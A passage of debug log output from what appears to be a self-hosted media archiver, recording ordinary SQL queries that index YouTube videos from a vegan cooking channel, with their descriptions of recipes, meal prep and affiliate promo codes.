https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!)", "16ee54c0-12be-4bd5-9804-9b9a520c3c45", 1, [], false, "ygEtw61S1eg", "https://www.youtube.com/watch?v=ygEtw61S1eg", 179, "/downloads/downloads/alec/Steamy Vegan/2024-07-08 What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!)/What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!) [ygEtw61S1eg].NA", false, false, false, 1, ~U[2024-07-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "What I eat in a day to get 100g protein as a vegan! High-protein vegan meals, gluten-free! \n\nBreakfast - Vanilla Chai Apple Oatmeal (410 cal, 22g protein)\nLunch - Cheezy Bean BrocCauli Power Bowl (670 cal, 41g protein)\nSnack - Peanut Butter & Jam Bites (190 cal, 4g protein per bite)\nDinner - BBQ Chick'n Ranch Wrap (350 cal, 18g protein)\n\nLooking for more what I eat in a day videos? Watch this playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!)", 1, nil, false, "ygEtw61S1eg", "https://www.youtube.com/watch?v=ygEtw61S1eg", "/downloads/downloads/alec/Steamy Vegan/2024-07-08 What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!)/What I Eat in a Day! Healthy, High Protein Vegan Meals (Gluten-Free!) [ygEtw61S1eg].NA", false, ~U[2024-07-08 00:00:00Z]] 20:31:07.379 [debug] QUERY OK source="sources" db=0.8ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.381 [debug] QUERY OK source="media_items" db=1.8ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-05 00:00:00Z], 1] 20:31:07.395 [debug] QUERY OK source="media_items" db=13.4ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video you’ll see everything we bought in this healthy vegan Walmart grocery haul! How did we do? Do you shop at Walmart for vegan foods?\n\nTOTAL SPENT = $140 CAD / $102 USD\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "WALMART HAUL! Should a Vegan Grocery Shop Here?", "c66dff75-dd11-4d98-922f-0cbe38ba6054", 1, [], false, "vtKRFTwWGac", "https://www.youtube.com/watch?v=vtKRFTwWGac", 180, "/downloads/downloads/alec/Steamy Vegan/2024-07-05 WALMART HAUL! Should a Vegan Grocery Shop Here?/WALMART HAUL! Should a Vegan Grocery Shop Here? [vtKRFTwWGac].NA", false, false, false, 1, ~U[2024-07-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video you’ll see everything we bought in this healthy vegan Walmart grocery haul! How did we do? Do you shop at Walmart for vegan foods?\n\nTOTAL SPENT = $140 CAD / $102 USD\n\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "WALMART HAUL! Should a Vegan Grocery Shop Here?", 1, nil, false, "vtKRFTwWGac", "https://www.youtube.com/watch?v=vtKRFTwWGac", "/downloads/downloads/alec/Steamy Vegan/2024-07-05 WALMART HAUL! Should a Vegan Grocery Shop Here?/WALMART HAUL! Should a Vegan Grocery Shop Here? [vtKRFTwWGac].NA", false, ~U[2024-07-05 00:00:00Z]] 20:31:07.398 [debug] QUERY OK source="sources" db=1.6ms idle=20.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.400 [debug] QUERY OK source="media_items" db=2.2ms idle=20.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-01 00:00:00Z], 1] 20:31:07.405 [debug] QUERY OK source="media_items" db=3.1ms idle=21.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me for my high protein meal prep! 🌱 I'll show you how I make lots of high protein vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got homemade burgers, a rich bolognese, two kinds of nourish bowls and some delicious taco fixings. If you’re not into eating the same thing every day then this style of meal prep will definitely work for you.\n\n*ALL THE COMPONENTS I PREPPED*\nCARBS/STARCHES: Lemony garlic potatoes, fajita spiced sweet potatoes, cooked quinoa\nPROTEINS: Spicy soy chorizo bolognese, tofu feta, air fried crispy tofu, smokey air fried chickpeas, tomato basil white bean hummus, chickpea quinoa burgers\nVEGGIES: Roasted fajita bell peppers, lots of raw veg throughout the week\nSAUCES AND TOPPERS: Thousand Island dressing, tahini and balsamic maple mustard dressing, pickled red onions\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n\nThis meal prep takes 4 to 5 hours\n\n1. Pressure cook chickpeas, let cool\n2. Cook quinoa, then let cool\n3. Press firm tofu for 'feta'\n4. Prep veggies & cook bolognese sauce, simmer for 2 hours\n5. Chop and prep potatoes & sweet potatoes, bake in oven 40 mins 400F\n6. Prep and bake chickpea quinoa burgers 40 mins 375F\n7. Prep and roast smokey chickpeas at same time\n8. Prep and air fry crispy tofu\n9. Prep a couple jars of quick pickled red onions\n10. Prep marinade and make tofu feta\n11. Prep veg for dressings and make dressings\n12. Make white bean hummus in food processor\n13. Roast or air fry fajita bell peppers\n\nRECIPES MENTIONED IN THIS VIDEO FROM ELSEWHERE ON MY CHANNEL\nVEGAN BOLOGNESE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese!\u00A0Healthy,\u00A0High-Protein\u00A0Len...\u00A0\u00A0\nVEGAN FAJITAS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\nCHICKPEA QUINOA BURGERS: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Plant-Based\u00A0Burgers\u00A0YOU\u00A0Can\u00A0Make...\u00A0\u00A0\nCRISPY BAKED TOFU: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\nPICKLED RED ONIONS: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0Homemade\u00A0Pickled\u00A0Red\u00A0Onions\u00A0\u00A0\nSALAD DRESSINGS: \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0 & \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\nTOFU FETA by Gina Hamshaw: https://www.thefullhelping.com/herbed...\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High Protein Meal Prep! My High Protein Vegan Meals For the Week", "14c1c07f-bc8d-4ee6-8deb-c1015e236520", 1, [], false, "aehJlcZ7Kh0", "https://www.youtube.com/watch?v=aehJlcZ7Kh0", 181, "/downloads/downloads/alec/Steamy Vegan/2024-07-01 High Protein Meal Prep! My High Protein Vegan Meals For the Week/High Protein Meal Prep! My High Protein Vegan Meals For the Week [aehJlcZ7Kh0].NA", false, false, false, 1, ~U[2024-07-01 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Join me for my high protein meal prep! 🌱 I'll show you how I make lots of high protein vegan and gluten-free meals for the week in just a few hours! 😊 We’ve got homemade burgers, a rich bolognese, two kinds of nourish bowls and some delicious taco fixings. If you’re not into eating the same thing every day then this style of meal prep will definitely work for you.\n\n*ALL THE COMPONENTS I PREPPED*\nCARBS/STARCHES: Lemony garlic potatoes, fajita spiced sweet potatoes, cooked quinoa\nPROTEINS: Spicy soy chorizo bolognese, tofu feta, air fried crispy tofu, smokey air fried chickpeas, tomato basil white bean hummus, chickpea quinoa burgers\nVEGGIES: Roasted fajita bell peppers, lots of raw veg throughout the week\nSAUCES AND TOPPERS: Thousand Island dressing, tahini and balsamic maple mustard dressing, pickled red onions\n\n*ORDER OF PREP: I started with what takes the longest to cook and the components I needed for several other recipes*\n\nThis meal prep takes 4 to 5 hours\n\n1. Pressure cook chickpeas, let cool\n2. Cook quinoa, then let cool\n3. Press firm tofu for 'feta'\n4. Prep veggies & cook bolognese sauce, simmer for 2 hours\n5. Chop and prep potatoes & sweet potatoes, bake in oven 40 mins 400F\n6. Prep and bake chickpea quinoa burgers 40 mins 375F\n7. Prep and roast smokey chickpeas at same time\n8. Prep and air fry crispy tofu\n9. Prep a couple jars of quick pickled red onions\n10. Prep marinade and make tofu feta\n11. Prep veg for dressings and make dressings\n12. Make white bean hummus in food processor\n13. Roast or air fry fajita bell peppers\n\nRECIPES MENTIONED IN THIS VIDEO FROM ELSEWHERE ON MY CHANNEL\nVEGAN BOLOGNESE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese!\u00A0Healthy,\u00A0High-Protein\u00A0Len...\u00A0\u00A0\nVEGAN FAJITAS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\nCHICKPEA QUINOA BURGERS: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Plant-Based\u00A0Burgers\u00A0YOU\u00A0Can\u00A0Make...\u00A0\u00A0\nCRISPY BAKED TOFU: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Cook\u00A0Tofu!\u00A0EASY\u00A0Tofu\u00A0Recipes\u00A0I\u00A0Eat\u00A0...\u00A0\u00A0\nPICKLED RED ONIONS: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0Homemade\u00A0Pickled\u00A0Red\u00A0Onions\u00A0\u00A0\nSALAD DRESSINGS: \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0 & \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\nTOFU FETA by Gina Hamshaw: https://www.thefullhelping.com/herbed...\n\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee J (truncated) 20:31:07.406 [debug] QUERY OK source="sources" db=0.9ms idle=23.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.409 [debug] QUERY OK source="media_items" db=2.3ms idle=12.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-29 00:00:00Z], 1] 20:31:07.412 [debug] QUERY OK source="media_items" db=1.8ms idle=11.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make 2 high protein overnight oats recipes! Vegan and gluten-free with a no-protein powder option. \n\n💪🏼 My Fave Protein Powders for This Recipe\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nLooking for more healthy breakfast ideas? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\n*MOCHA CHIP OVERNIGHT OATS — 535 calories, 29g protein, 67g carbs, 17g fat* total macros not including toppings\n\nRecipe is for 2\n\n1 cup rolled oats\n2 scoops mocha protein powder (I used \u202A@GoodProtein\u202C Mocha)\n1 cup unsweetened soy milk\n¾ cup plant-based greek-style yogurt\n1 tsp vanilla extract\n2 tsp instant coffee\n¼ cup warm water\n1 tbsp cocoa powder\n2 tbsp chocolate chips OR cacao nibs\nDollop of vegan whipped cream\n*DRIZZLE*\n1 tbsp maple syrup\n1 tbsp plant milk\n1 tbsp cocoa powder\n\n1. Add the oats, protein powder and cocoa powder to a bowl and mix until well combined.\n2. Dissolve the instant coffee in the water. Add it to a separate mixing bowl along with the soy milk, yogurt, vanilla and mix until well combined.\n3. Pour the wet ingredients into the dry and stir well to combine until all the lumps are dissolved. Let sit for 10 minutes to thicken slightly.\n4. Pour and divide into 2 jars or sealable bowls, and refrigerate overnight.\n5. Combine the drizzle ingredients in the morning, then garnish your overnight oats with a dollop of vegan chipped cream or yogurt, the chocolate sauce and choc chips or cacao nibs. Enjoy!\n\n\n*CHOCOLATEY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein, 510 calories, 57g carbs, 22g fat*\n\nRecipe is for 1\n\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n1. Add all the dry ingredients to a jar or bowl and mix until well combined.\n2. Add the remaining soy milk, vanilla and maple syrup and mix once more until well combined. Refrigerate overnight and enjoy with your favourite toppings like fresh fruit, nuts or nut/seed butter. \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas", "7d9ca7d0-326a-4ae8-a555-148719c4855d", 1, [], false, "bCCwjZmuDKo", "https://www.youtube.com/watch?v=bCCwjZmuDKo", 182, "/downloads/downloads/alec/Steamy Vegan/2024-06-29 2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas/2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas [bCCwjZmuDKo].NA", false, false, false, 1, ~U[2024-06-29 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make 2 high protein overnight oats recipes! Vegan and gluten-free with a no-protein powder option. \n\n💪🏼 My Fave Protein Powders for This Recipe\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nLooking for more healthy breakfast ideas? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\n*MOCHA CHIP OVERNIGHT OATS — 535 calories, 29g protein, 67g carbs, 17g fat* total macros not including toppings\n\nRecipe is for 2\n\n1 cup rolled oats\n2 scoops mocha protein powder (I used \u202A@GoodProtein\u202C Mocha)\n1 cup unsweetened soy milk\n¾ cup plant-based greek-style yogurt\n1 tsp vanilla extract\n2 tsp instant coffee\n¼ cup warm water\n1 tbsp cocoa powder\n2 tbsp chocolate chips OR cacao nibs\nDollop of vegan whipped cream\n*DRIZZLE*\n1 tbsp maple syrup\n1 tbsp plant milk\n1 tbsp cocoa powder\n\n1. Add the oats, protein powder and cocoa powder to a bowl and mix until well combined.\n2. Dissolve the instant coffee in the water. Add it to a separate mixing bowl along with the soy milk, yogurt, vanilla and mix until well combined.\n3. Pour the wet ingredients into the dry and stir well to combine until all the lumps are dissolved. Let sit for 10 minutes to thicken slightly.\n4. Pour and divide into 2 jars or sealable bowls, and refrigerate overnight.\n5. Combine the drizzle ingredients in the morning, then garnish your overnight oats with a dollop of vegan chipped cream or yogurt, the chocolate sauce and choc chips or cacao nibs. Enjoy!\n\n\n*CHOCOLATEY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein, 510 calories, 57g carbs, 22g fat*\n\nRecipe is for 1\n\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n1. Add all the dry ingredients to a jar or bowl and mix until well combined.\n2. Add the remaining soy milk, vanilla and maple syrup and mix once more until well combined. Refrigerate overnight and enjoy with your favourite toppings like fresh fruit, nuts or nut/seed butter. \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas", 1, nil, false, "bCCwjZmuDKo", "https://www.youtube.com/watch?v=bCCwjZmuDKo", "/downloads/downloads/alec/Steamy Vegan/2024-06-29 2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas/2 High Protein Overnight Oats Recipes! Vegan & Gluten-Free Healthy Breakfast Ideas [bCCwjZmuDKo (truncated) 20:31:07.413 [debug] QUERY OK source="sources" db=1.0ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.416 [debug] QUERY OK source="media_items" db=2.5ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) 